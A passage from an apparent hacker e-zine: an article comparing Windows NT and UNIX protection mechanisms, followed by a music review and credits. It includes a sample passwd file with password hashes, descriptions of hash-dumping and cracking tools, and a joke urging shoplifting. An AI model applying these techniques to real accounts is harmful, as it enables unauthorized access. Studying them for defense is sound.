* Memory - Memory management system
* I/O devices - Input Output system
* Disks - File system
- Software Resources
These are resources created by the virtualization of the hardware
resources available on the system. Not only does this protect the
hardware resource from direct access, it also provides processes with
improved versions of the physical resources.
These software resources include [1]:
* Processes - The virtualization of the entire computer including a
virtual processor that abstracts the hardware processor
* Virtual memory - The virtualization of physical memory
* Logical devices - The virtualization of various physical devices
available on the system
* Files - The virtualization of storage devices
* IPC objects - Inter-process communication objects that includes pipes,
semaphores, message queues and ports
Importance of Resource Protection
=================================
It has been noted that as a resource manager, one of the tasks of the
operating system is to grant permissions to processes on when and how to
access system resources. In the operating systems being evaluated, these
processes can be initiated by several different users with varying levels
of permissions and authority on the system. Therefore to protect users
from each other and also protect itself from damage, the operating system
determines that each process has the proper authorizations before it
permits them to access or modify any of the resource which they are
requesting.
Failure to provide proper protection of resources often result in one or
all of the following four (4) violations:
- Unauthorized disclosure of information: This occurs when private
information held in a computer system is revealed to a user not
allowed to view it.
- Unauthorized modification of information: This occurs when an
unauthorized user is able to modify information stored on a computer
system.
- Unauthorized use of service: This occurs when an unauthorized user is
able to use a service on the computer system which they are not
allowed to.
- Denial of service: This occurs when an authorized user of a system
simultaneously accesses several systems resource in such a way that it
prevents other authorized users from accessing needed resources.
[ A denial of service violation doesn't necessarily have to be an
authorized user, though the damage an authorized user can generally do
is much greater. For example, an unauthorized user could flood the
network with packets in the hope that this will interrupt service. On
the other hand, an authorized user could run a program locally that
allocates more memory than the computer has available (say, 80M when the
computer only had 64 available) and there are no quota mechanisms in
place. I don't know anybody that'd do such a dastardly deed ;) {kynik} ]
Historical Background
=====================
The Windows NT operating system was developed by Microsoft Inc., and
first released in 1992. It originated as a joint effort with
International Business Machines (IBM) Corporation as a part of their OS/2
operating system. Unlike its 16-bit predecessor Windows 3.x, NT was
designed to be a 32-bit operating system with support for processes,
multiple threads, symmetric multiprocessing and distributed computing. It
is also a Fault Tolerant Operating System, with each 32-bit application
operating in its own Virtual Memory address space preventing an
application from interfering with another's memory space. Largely
implemented in the C language so as to allow portability to other
hardware platforms, NT is available today on the x86, MIPS and Alpha
platforms. Windows 2000 however is only avaible for the x86 architecture.
It also adopts the NT File System (NTFS) as its native file system
gaining from this the increased security features built into the file
system.
[ NT 4 was also available for the PowerPC, and earlier versions were known
to run on all kinds of weird hardware, the m88k for instance. {ajax} ]
The current version of Windows NT is version 5.0 also named Windows
2000. This version is built on the same core NT technologies with minor
update and modifications. It also provides support for previously
unavailable features such as Plug-and-Play, support for USB devices,
power management, DirectX 7.x and more.
UNIX was brought into being at Bell Labs by Ken Thompson, Dennis Ritchie
and others to provide a working environment for themselves. Written
originally in assembler for the PDP-7 and then ported to C, UNIX quickly
became very popular among the academic computer science community.
Further refinement of this primitive operating system by various
institutions possessing the source quickly pushed UNIX to become top
class operating system while at the same time ensuring that it would
produce several different implementations. Some of these include FreeBSD,
NetBSD and OpenBSD which descended from projects being worked on at the
University of California Berkeley (Berkeley Software Distribution). Other
known variants include Solaris, developed by Sun Microsystems Inc., and
originally based on the ATT SvR4 code and Linux whose origin was merely
influenced the previous UNIX implementations.
So many variants of UNIX exist today such that it is not quite possible
to list all the supported hardware platforms and architecture here.
Although for portability's sake most UNIX system architecture still
remain mildly similar, specific mention is made in this paper whenever
the implementation of a feature being discussed is radically different
from that of other UNIX variants.
Comparisons of Protection Mechanisms
------------------------------------
In an operating system, protection refers to the methods implemented to
control user access to system resources [2]. We will observe different
protection mechanisms instituted by different operating systems.
Please note though that this does not file include resource management
in the form of scheduling or memory partitioning.
Identification:
===============
Windows NT
Usernames on Windows NT are mapped onto a unique number known as the SID
(Security Identifier). This identifier is a long alphanumeric sequence
which is created to be unique within the domain (Footnote:!) in which the
system exists and is attached to a username during its entire lifetime.
To preserve this uniqueness, SIDs are never reused even after the
username they are attached to is deleted. As we will discuss later,
access control is built around SIDs so this prevents users from being
defaulted into gaining permissions which they shouldn't.
UNIX
Users are identified on a UNIX system by the use of a username. On
creation of the account, the system administrator selects a number that
would be used to attached to the username. There are no strict
requirements for the value of this number, known as the UID (User
Identification number) to be unique. Traditionally, UIDs with a value
less than 500 are reserved for special names in the system such as the
bin and daemon users. The system administrator typically known as root is
assigned the UID of 0 (zero).
Potential Threats
-----------------
UNIX
Not forcing UIDs to be unique has the capacity to provide equivalent
level of authority for multiple users on the system. In this situation,
users with the same UIDs have the ability to fully access and modify each
others documents. Due to the nature of the /etc/passwd file being world
readable, attackers could scan through this file and detect who they have
the same UIDs with.
Another potential attack results from the recycling of user IDs. Since
the file system stores the UID of the file owner as its identification
mechanism, recycling of the UID provides new users with full access to
files that were owned by the previous owners of the UID.
User Authentication
===================
Windows NT
Windows NT uses passwords to authenticate users. Passwords entered by a
user are encrypted and compared against the encrypted version stored
within the system. A successful comparison grants the user access to the
system with all permissions accorded to the attached SID in place.
Traditionally, passwords are stored on an NT system in a portion of the
registry known as the SAM (Security Accounts Manager).[6]
These passwords are stored not as clear-text but as hashes (Footnote:@).
One is known as the LANMAN hash and is converted to a non-case sensitive
state and then encrypted using a variant of the DES encryption mechanism
while the other is called the NT-native password and encrypted with the
MD4 (Footnote:#) algorithm.
NT security relies partly on the difficulty of users retrieving the
password hashes from the SAM as the passwords within it are accessible
only by the operating system and not even by the machines Administrator
account. The security also partly relies on the difficulty of reversing
the one way functions used to encrypt the passwords. However, this second
point is becoming much less of a deterrent with tools like L0phtCrack
(Footnote:$) which have the capacity to guess several thousand passwords
per second.
Windows 2000
To combat the wide spread use of L0phtCrack, Microsoft released a tool
called Syskey with the NT Service Pack 4 that allowed for Administrators
to encrypt their SAM databases. However the use of this was entirely
optional resulting in many systems not implementing this security
mechanism. With Windows 2000 however, the use of Syskey to encrypt the
SAM database has become mandatory. Additionally, the hashes of local
users are the only things stored in the SAM while those of domain users
have been moved to the Active Directory Service (ADS). The major change
here is the move to using two separate security databases. The ADS hash
storage mechanism functions much like its SAM equivalent and is also
mandatorily encrypted. Tools like pwdump2 (version 2) however already
exist that can read LM-hash and NT-native hash values in the Windows 2000
ADS and dump them to a text file.
UNIX
User authentication is also performed on UNIX systems using passwords.
After identification, the password provided by the user is encrypted using
the DES (Footnote:%) algorithm and compared against the original encrypted
version stored in /etc/passwd. A match then grants the user access to the
system. The world readable feature of the /etc/passwd file makes it very
susceptible to attack. While the DES encryption method was sufficiently
difficult to break some time ago, programs like Crack 5.0 and John the
Ripper have been able to successfully decrypt passwords from this file in
relatively little time.
root:2pcCUSGVgSyAk:0:0:Super User:/root:/bin/false
bin:*:1:1:bin:/bin:
daemon:*:2:2:System Daemon:/sbin:
adm:*:3:4:adm:/var/adm:
httpd:*:5:5::/home/httpd:/bin/false
nobody:*:99:99:Nobody:/:
flaw:bR.cxeOc5uCW.:500:500::/home/flaw:/bin/bash
xploita:MwrYkBLXF2k4k:500:501::/home/xploita:/bin/bash
stealth:cF.cjioc5uCW.:502:502::/home/hell:/bin/tcsh
nel:vb.8ijKleop8vt:503:503:Nelleke Karst:/root:/bin/bash
Listing 1: This displays the typical contents of a /etc/passwd file
A remedy to this is the use of 'shadow' files in many systems. In this
method, the encrypted passwords are moved to the /etc/shadow file which
requires elevated permissions to view. This leaves the /etc/passwd file
to be accessible to all other programs that need it without giving away
the encrypted passwords. No UNIX distribution has at yet implemented a
non world readable /etc/passwd file as this would render the multitude of
programs, that access this file for information, useless. Note however
that improperly securing this file by the system administrator still
exposes the system to the previous threats it was designed to overcome.
An alternative to the above approach was therefore developed. This
method known as Pluggable Authentication Modules (PAM) runs the
authentication process through an abstraction layer allowing applications
to support a pluggable method of authenticating user identity. By
modifying the /etc/pam.conf file, the system administrator could alter
the authentication mechanism of his system to use Kerberos (Footnote:^),
MD4 or any other method.[4]
[ "Any other method" means anything you can write a PAM plug-in for,
which at present includes Radius, TACACS+, LDAP, SMB, NIS[+], a few
one-time password schemes, smart cards... It should be noted that Unix
logon security with PAM is equal to the security of the protocol doing
the authentication; for example, a PAM SMB module is equivalent to an
NT login, which makes it vulnerable to the attacks above. {ajax} ]
Potential Threats
-----------------
Both Windows NT and UNIX share the design weakness of requesting and
accepting clear-text passwords sent from the users workstation to the
server during the authentication process. All that is required in this
case is for an individual to install a network packet analyzer between
the local and remote host to intercept the password of the user. To
prevent this, some UNIX variants have adopted the use of SSH (Secure
Shell) which allows for encrypted communications to be sent between two
untrusted hosts over an insecure network. SSH utilizes a public-key
encryption system to authenticate remote hosts and ensures that the
machine has not been duplicated. [5].
Windows NT
As can be deduced from the earlier discussion, the greater difficulty of
circumventing Windows NT authentication control mechanism is getting
access to the LM-hash or NT-native password hashes. Windows NT dubiously
subscribes to a method of security through obscurity in its attempt to
keep the SAM out of unauthorized hands.
In some systems, it allows for an encryption key stored within the
system to be applied in encrypting the contents of the SAM. Widely
available tools exist that can seek out this encryption key and utilize
it to defeat the SAM's encryption. Once this is done, permissions can be
modified to allow Administrator access to view the contents of the SAM
and hence the precious hashes. An alternate method of attack is for a
user to use the same undocumented API calls that NT uses to access the
SAM to dump out its contents.
The use of two password in NT doubles the possibility of obtain the
actual user password. This is because attackers now have a choice of
cracking the MD4 or DES encrypted hashes. The MD4 one-way hash function
was initially thought to be impossible to decrypt until Hans Dobbertin in
his paper Collisions in MD4 [11] described how two separate data strings
could produce the same hash value. This discovery, named MD4 collisions
after the paper significantly narrows the number of guesses a brute-force
password cracking program needs to make in other to guess a fitting
NT-native password [8].
UNIX
As previously stated, the world writeable nature of the /etc/passwd file
on UNIX systems provides attackers with the ability to copy and remotely
crack passwords user passwords. The next most common cause of defeat of
the authentication mechanism of a UNIX system is however misconfiguration
of the shadow file. This is often in the form of setting the wrong file
permissions to this file thus making its contents easily accessible.
Access Control
==============
Windows NT
Windows NT provides a unified access control mechanism to all the
objects and subjects within the system. A subject in Windows NT refers to
a process with one or more threads being run on behalf of a user. An
object refers to the items stored within the system. In this
implementation, the access control mechanism relies on two components.
* Access Token (AT) - This is associated to every process in the system.
* Security Descriptor (SD) - This is connected to every process that
supports interprocess access.
On completion of a successful user authentication process, an access
token is generated by the system and attached to the users initial
process. This token contains the users SID which is used by the system to
determine the users access to various resources. Every process created by
this user inherits this AT [9].
Subjects are allowed to contain several access tokens with the initial
token handed to them being known as the primary token. This token as
noted earlier contains the users SID and also contains the group SID of
the user as well as permissions they hold. Before this subject (process)
can access any object, all token SIDs held by the subject are compared
against the information stored in the ACL of the object it wishes to
access.
All objects in the Windows NT system have an associated Access Control
List (ACL) entry. This list consists of a number of Access Control
Entries (ACE). Each ACE contains a SID and either the operation that the
owner of this SID is allowed to perform on the object or the operations
they are forbidden to perform. ACEs that describe actions a SID is
forbidden to perform are stored ahead of ACEs listing the actions a SID
is allowed to perform.
These lists are stored in the Local Security Policy Database which is
maintained by the Local Security Authority (LSA). On creation users may
attach an ACL to the object. On failure to do this, the system seeks to
determine if the object can inherit the directory's ACL. If this is also
not possible, the ACL of the processes primary token will be attached to
the object [8].
Comparison of the SID within a subject's access token to the objects ACL
is performed by the Security Reference Monitor (SRM) when the first
attempt to access this object is made. A search within the objects ACL of
the ACE containing the SID of the subject is made in a 'first match'
fashion. This ensures that if there are any forbidden action which the
subject is not allowed to undertake, this is discovered first. The search
is terminated when a suitable match is found and if access is granted, a
handle to the object is created by the SRM and handed to the subject.
Subsequent calls to this object make use of the handle.
As inferred from the above sections, a subject can contain several
access tokens. One of these access token is known as the impersonation
token and it adds the convenience of allowing users to run processes with
privileges assigned to other users.
[ VMS' access control mechanism is very similar. The major problem with
both is that there is a privilege that allows a subject to give itself
privileges, which is the analog of a "root" privilege. In Unix, you
have one account to protect, but in multi-level privilege systems, you
have to audit every means by which a user could gain a privilege; while
that can be more secure, it is also harder to manage. {ajax} ]
UNIX
Access control is implemented in UNIX through the file system. Each file
on the system is represented by both an inode (information node) and one
or more data blocks. The inode contains information on what permission
level is required by a process to gain access to the data block.
Information contained within an inode include:
* File Owner UID
* File Owner GID
* File Type - { regular, directory, symbolic link, character device,
block device, pipe, socket }
* File Access Permissions - { owner, group, other; read, write, execute }
* File Access Times -
+ Last Modified
+ Last Accesses
+ Inode Last Modified
* File Size - in bytes
machid:/home/xploita>ls -l s*
-rw-r--r-- 1 xploita users 2570 Jul 9 1999 scan.c
-rwxr-xr-x 1 xploita users 6708 Jul 6 1999 self*
-rw-r--r-- 1 xploita users 663 Jul 7 1999 self.c
-rw-r--r-- 1 xploita users 3360 Aug 20 1999 socket.c
Listing 2: A listing of files on a UNIX system displaying the contents of
their inodes.
Each initiated process in UNIX possesses a pair of effective and real
UIDs and GIDs. This allows a user to execute processes while temporarily
assuming the permission and authority of another user. This is not as bad
as it sounds, in fact it is quite useful. Lets say you run a web server
on your machine and this web server is configured to run some CGI
scripts. It is preferred not to run these scripts using the same user
privileges as the owner of the web server, but to run the scripts using
the borrowed privileges of user with much lesser authority.
Solaris
Solaris is one of the UNIX variants with a substantitive adoption of the
use of ACLs. In this implementation, usage is supported in the following
files systems: UFS (UNIX File System), NFS (Network File System, Versions
2 and 3), CacheFS (Cache File System), and LOFS (Loopback File System).
In these filesystems, ACLs may b
e applied to files, directories, pipes
and symbolic links [7].
On the creation of ACLs for a file, the file's inode is linked to a
shadow inode that has the capacity to store ACL information. This link is
done by the creation of a pointer in the file inode called i_ufs_acl to
link to the shadow inode data structure called the si structure. There is
further linkage of additional kernel data structures from the si
structure that are used by the kernel for ACLs.
inode
-------------- ic_acl
| i_mode | -->structure
| i_size | | ----------
| . | si structure | | *owner --1| ufs_ic_acl
| . | --------------- | | *group --2|--> structure
| *i_ufs_acl-|-->| *next | | | *other --3| (1,2,3,4,5)
-------------- | *s_forw | | | *users --4| ----------------
| s_flags | | | *group --5| | *acl_ic_next----
| s_shadow | | | mask | | mode | |
| s_dev | | ---------- | acl_id_who | |
| s_signature | | ---------------- |
| s_use | | ic_acl |
| s_ref | | -->structure ufs_ic_acl |
| s_lock | | | ---------- structure <-----
| s_a <----------- | | *owner | ----------------
| s_d <--| | | | *group | | *acl_ic_next |
---------|----- | | *other | | mode |
| | | *users | | acl_id_who |
----------- | *group | ----------------
| mask |
----------
Listing 3: A visual representation of the Solaris ACL structures
[ That is probably one of the best ASCII charts I've ever seen! {kynik} ]
The shadow inode structure contains various fields needed by the kernel
for its implementation of ACLs. The kernel caches shadow inodes in memory
to facilitate access. When an ACL is created for a file, the kernel
searches the shadow inode first to determine if a resident shadow inode
exists that can be used. If one exists, a link is simply made between
this object and the memory resident shadow inode. If none exists the
kernel allocates a UFS inode to store the newly created ACL information
and points the I_shadow pointer in the files original inode to this.
1 sunsys> getfacl file1
2 # file: file1
3 # owner: jim
4 # group: staff
5 user::rw-
6 user:moe:rw- #effective:r--
7 group::r-- #effective:r--
8 mask:r--
9 other:r--
10 sunsys> su moe
11 Password:
12 $ id
13 uid=2001(moe) gid=22(stooges)
14 $ echo "write test" >> file1
15 file1: cannot create
16 $ exit
17 sunsys> setfacl -m m:rw- file1
18 sunsys> getfacl file1
19 # file: file1
20 # owner: jim
21 # group: staff
22 user::rw-
23 user:moe:rw- #effective:rw-
24 group::r-- #effective:r--
25 mask:rw-
26 other:r--
27 sunsys> su moe
28 Password:
29 $ echo "write test" >> file1
30 $ exit
31 sunsys>
Listing 4: ACL information for objects are set in Solaris using the
getacl and setacl commands. Outputs of these programs are
displayed.
[ Sun's Trusted Solaris takes this to the NT/VMS level of having an ACL
bound to non-file objects. HP's VirtualVault OS, basically an extended
HP-UX, has multi-level priveleges, and also does some funky process
partitioning. {ajax} ]
Potential Threats:
------------------
Since not all file systems support ACL, operating systems that use ACL
have had to find a workaround solution for this problem. In the case of
Solaris, any file system that does not support ACLs will only have access
to the inode access information stored in the inode of the file. While
this is not extremely secure, it is considered sufficient enough as many
UNIX implementation rely on this alone.
Windows NT on the other hand has a mechanism of providing default ACL to
objects. When a device object is first created to represent a file
system, the ACL of the device object is set to traverse access for
everyone and read/write for administrators. Therefore, when files are
created on this file system that cannot store their security descriptor,
the access rights of the files are defaulted to that of the operating
system thus granting traverse rights to anyone on the system.
Windows NT
One of the disadvantages of Windows NT usage of the Access Token
mechanism is that the access token is created on user authentication and
held throughout the life time of the login process. This therefore makes
it impossible for any changes made to the users privileges to take effect
until the user logs off the system and logs back on (hence causing a new
access token to be created). This often causes discontinuity of services
when modifications are made to a needed service and it has to be cycled
in this way to pick up the changes.
Access Control Using Capabilities
---------------------------------
Some distributions of UNIX especially of the Linux variant are now in
circulation with built in support for capabilities. While ACLs are stored
with an object recording who/what has the right to access this objects,
capabilities are stored with the object dictating what objects this
process has the right to access [2].
Each subject contains a list of capabilities which in turn contain two
items:
* Object Descriptor - This is an identifier for the object which might
include the address of the object or any other unique method of
representing the object.
* Access Rights - This is the list of access rights which the subject
holds for this object.
The capabilities list can be looked at as a ticket which is presented to
the resource manager whenever a request to access a new resource is made.
The resource manager then inspects the ticket and grant the ticket holder
the accesses specified. Since capabilities may be embedded inside user
programs and data structure, the inspection process should consist of
mechanism to ensure that the capabilities presented have not been forged.
This methodology is discussed in the designed but unimplemented
Extremely Reliable Operating System architecture [10].
[ One of the URLs at the top of this ish contains a link to a capabilities
implementation for FreeBSD. {ajax} ]
Auditing
========
Windows NT
Auditing in Windows NT is handled by the Security Resource Manager,
Local Security Authority and the Event Logger. Event to be logged are
placed into one of seven types of event groups. These are:
* System
* Logon/Logoff
* Object Access
* Privilege Use
* Detailed Tracking
* Policy Change
* Account Management
Whenever an event occurs that is to be audited, the LSA determines what
is to be audited from the systems Audit Policy and hands this to the SRM
to construct the audit record. In some cases, the LSA constructs the
audit record. This constructed record is then handed to the Event Logger
to commit to disk.
The constructed audit record contains the following information [11]:
* Date - The date the event occurred.
* Time - The (local) time the event occurred.
* User - The username of the user on whose behalf the event occurred.
This is the client ID if the event was actually caused by a
server process, or the primary ID if impersonation is not taking
place. Where applicable, a security log entry contains both the
primary and impersonation IDs.
* Computer - The name of the computer where the event occurred. (Event
Viewer can be used to view event logs on other Windows NT
computers on a network.)
* Event ID - A unique number identifying the particular event type. The
first line of the description usually contains the name of
the event type. For example, 562 is the ID of the event that
occurs when a new object handle is created, and so the first
line of the description of such an event is "Handle
Allocated."
* Source - The name of the system component that actually recorded the
event in the security log. Usually, this is Security,
indicating that it is the result of Windows NT security
auditing. Applications can also define their own auditable
events that can be recorded in the security log.
* Type - Either Success Audit or Failure Audit, indicating whether the
audit is a record of a successful or failed attempt. In Event
Viewer's normal list view, these are represented by a key or a
lock, respectively.
* Category - A classification of the event by the event source. For
security audits, this corresponds to one of the event types
for which success or failure auditing can be enabled in the
User Manager Audit Policy dialog.
UNIX
There are three (3) main classes of audit logs generated in UNIX
systems. These are handled by a combination of frequently used programs,
the kernel and daemon processes. These audit classes include [12]:
* Connect Time Accounting
* Process Accounting
* Error and Administrative Logging
Connect time accounting is instituted when an attempt is made to connect
to the system by a user. Upon successful authentication of the user,
entries are made into the wtmp and utmp files by the login program. The
locations of these files are often dependent on the UNIX variant being
used. The utmp file maintains only a current listing of the users
available on the system while the wtmp file tracks when the user logs in
and also when the user logs out. This provides a detailed tracking of a
users access to the system.
Fields collected by the wtmp file includes:
* The name of the terminal on which the user is logged in
* The name of the user logged in
* The name of the remote host from which the user logged in
* The time the user logged in or out of the system
For systems that support this, process accounting is performed by the
UNIX kernel which appends audit logs to the end of the /usr/adm/pacct
file on the termination of every process. Logging this information is
useful to provide information on which user is running what process and
also the duration of time this process is being run. It instantly alerts
the system administrator to user s who continuously usurp system resources.
Fields stored in the /usr/adm/pacct file includes
* Accounting flags that detail if the process ever forked another process
and if it ever attained super-user privileges.
* Exit status
* Accounting UID
* Accounting GID
* Controlling terminal
* Time of invocation
* Time spent in user state
* Total elapsed time
* Average memory usage
* Number of characters transferred
* Blocks read or written
The third class of auditing known as the error and administrative
logging is handled by the syslog logging facility which is started during
the boot up phase of the system. The logging daemon known as syslogd and
accepts audit log messages from processes designed to communicate with it.
These messages contain a priority code known as a facility and also the
system entity that generated the log entry known as the level. Syslogd
depending upon configuration has the ability to append messages to
appropriate files, send mail to the system administrator, send output to
the system console or send message via the network to another hosts. The
configurations for this file is found in the /etc/syslog.conf file.
Normally, configuration of this file is based on the facility of the log
entry. As noted earlier, this contains the priority code of the log
entry. Possible values include:
* Emergency - A panic condition. This is normally broadcast to all users.
* Alert - A condition that should be corrected immediately, such as a
corrupted system database.
* Critical - Critical conditions, such as hard device errors
* Error - Common errors
* Warnings - Warning messages.
* Notices - Conditions that are not error conditions, but that may
require special handling.
* Info - Informational messages.
* Debug - Messages that contain information normally of use only when
debugging a program
Summary
=======
Operating System developers are faced with many issues during the design
of the system with security being only one of these. Hence a feature
could be introduced which heavily jeopardizes security this feature could
provide some enhancement in other areas of the system. Hence it is
imperative the system administrators do not rely on default system
configurations. Hopefully, this document has helped in understanding the
implementation of many resource protection features such that you could
tighten the security of your system within crippling any useful features.
Or better yet, it has helped you discover how to defeat protection
mechanisms in use by comparable systems.
Footnotes:
---------
(!) A domain is a group of one or more NT computers which are connected
together and which share a common security accounts manager (SAM)
database and a common security policy.
(@) Hashes are the result of the application of 'one way' functions to a
value. These functions are such that they are easy to compute but
very difficult to reverse to their original form.
(#) MD4 is a one way hash function developed by RSA Inc.
($) L0phtCrack is a copyright of Lopht Heavy Industries and was developed
and is marketed by the same aforementioned entity.
(%) DES is the popular encryption standard used and supported by the
National Bureau of standards.
(^) Kerberos is an authentication mechanism developed at the
Massachussets institute of Technology
Terminology
-----------
ADS Active Directory Service
ACE Access Control Entry
ACL Access Control List
CacheFS Cache File System
CGI Common Gateway Interface
CPU Central Processing Unit
DEA Data Encryption Algorithm
DES Data Encryption Standard
GID Group IDentifier
IPC InterProcess Communication
LSA Local Security Authority
LAN Local Area Network
LOFS Loopback File System
NFS Network File System
NT New Technology
NTFS NT File System
PAM Pluggable Authentication Module
SAM Security Accounts MAnager
SID Security Identifier
SRM Security Resource Manager
SSH Secure Shell
URL Universal Resource Locator
UFS UNIX File System
UID User Identifier
WWW World Wide Web
Web Resources
-------------
This is a list of URLs for web resources found to be useful for this
paper.
http://www.ntsecurity.net
http://www.securityfocus.com
http://www.l0pht.com
http://www.cultdeadcow.com
http://www.ssh.fi
http://www.microsoft.com
http://www.artstechnica.com
http://www.ntbugtraq.com
References
----------
[1] Charles Crowley, Operating Systems: A Design Oriented Approach. Time
Mirror Higher Education Group, 1997.
[2] Mukesh Singhal & Niranjan Shivaratri, Advanced Concepts in Operating
Systems. McGraw Hill, 1994.
[3] Hans Hedbom, Stefan Lindskog, Stefan Axelsson & Erland Jonsson, A
Comparison of the Security of Windows NT and UNIX, October, 1998.
[4] David Corcoran, Introduction to Authentication, May 2000.
[5] T. Ylonen, T. Kivinen, M. Saarinen, T. Rinne & S. Lehtinen, INTERNET
DRAFT, SSH Protocol Architecture, June 1999.
[6] Frank O'Dwyer, Ensuring Password Quality on NT networks, April, 1999.
[7] Jim Mauro, Controlling Permissions with ACL, Sun World. March, 2000.
[8] Hans Hedbom, Stefan Lindskog, Stefan Axelsson & Erland Jonsson,
Analysis of the security of Windows NT, March, 1999.
[9] Jeffrey M. Richter, Creating, Managing and Destroying Processes and
Threads under Windows NT. Microsoft Systems Journal, Volume 8,
Number 7, pp: 55-76, July, 1993.
[10] Jonathann Stauss Shapiro, EROS: A Capability System. March, 1999.
[11] NCSC, FINAL EVALUATION REPORT. Microsoft Inc: Windows NT Workstation
and Server Version 3.5 with U.S. Service Pack 3. National Computer
Security Center, 1996.
[12] Stefan Axelsson, Ulf Lindquist, ulf Gustafson, Erland Jonsson, An
Approach to UNIX Security Logging, 1998
[ You forgot the kitchen sink, xploita! Just kidding, this is a damn good
article! {kynik} ]
___________________________________
----------------------- - c_routine
[=] 0x06: Music Reviews
Album Review: Rancid - Self-Titled (2000)
c_routine
routine@gh0st.net
East Bay punk band Rancid came out with their new album August 1st, on
their own record label, Hellcat records (http://www.hell-cat.com/).
This album is less ska-influenced and much more oi! and 77 influenced
than their previous three albums. Only a band like Rancid could put out an
artsy, dub/raggae-influenced album like "Life won't Wait" and turn around
and kick us all in the balls with their latest fare. This album is a
throwback in spirit to their very first album, back in 1993, also
self-titled.
From the hard-grinding guitar riffs of 'Axiom' and 'Not to Regret' to
the screaming lyrics of 'Dead Bodies' to their trade-off lyrical switch
in songs like 'Disgruntled' and 'Corruption', Rancid delivers a solid ass
kicking.
It's nice to hear Matt Freeman's vocals again even though I'm not a big
fan of his singing. This marks the first time he's sang lead vocals on a
song since 1993. He's easily one of the best bass players in punk rock;
the bass prodigy behind operation ivy, a classically trained cellist, and
the anchor responsible for starting Rancid to help get lead singer Tim
Armstrong out of alcoholism.
Every song on this album is quite good. Rancid said that most songs on
this album were recorded on their first take and if you've ever seen them
live, you wouldn't doubt it. This is one of the punkest new albums I've
heard in 2 years. Go to your downtown corporate mega-store and steal it.
cheers,
routine@gh0st.net
[ Not long ago, I took routine's advice and picked up this CD. It's
everything he says it is. {kynik} ]
____________________
----------------- -
[=] 0x07: Credits
Editor: Kynik <kynik@firest0rm.org>
Co-Editor: ajax <ajax@firest0rm.org>
Article Contributions: echo8 <echo8@firest0rm.org>
_azure <azure@gh0st.net>
xploita <flaw@firest0rm.org>
Music Reviews: c_routine <routine@gh0st.net>
To subscribe to this 'zine:
email napalm@firest0rm.org with a subject of SUBSCRIBE
To unsubscribe:
email napalm@firest0rm.org with a subject of UNSUBSCRIBE
Or find us online at:
http://napalm.firest0rm.org/
Submissions, questions, comments, and constructive chaos may also be
directed to kynik@firest0rm.org or any of the contributors
.n7! - eof
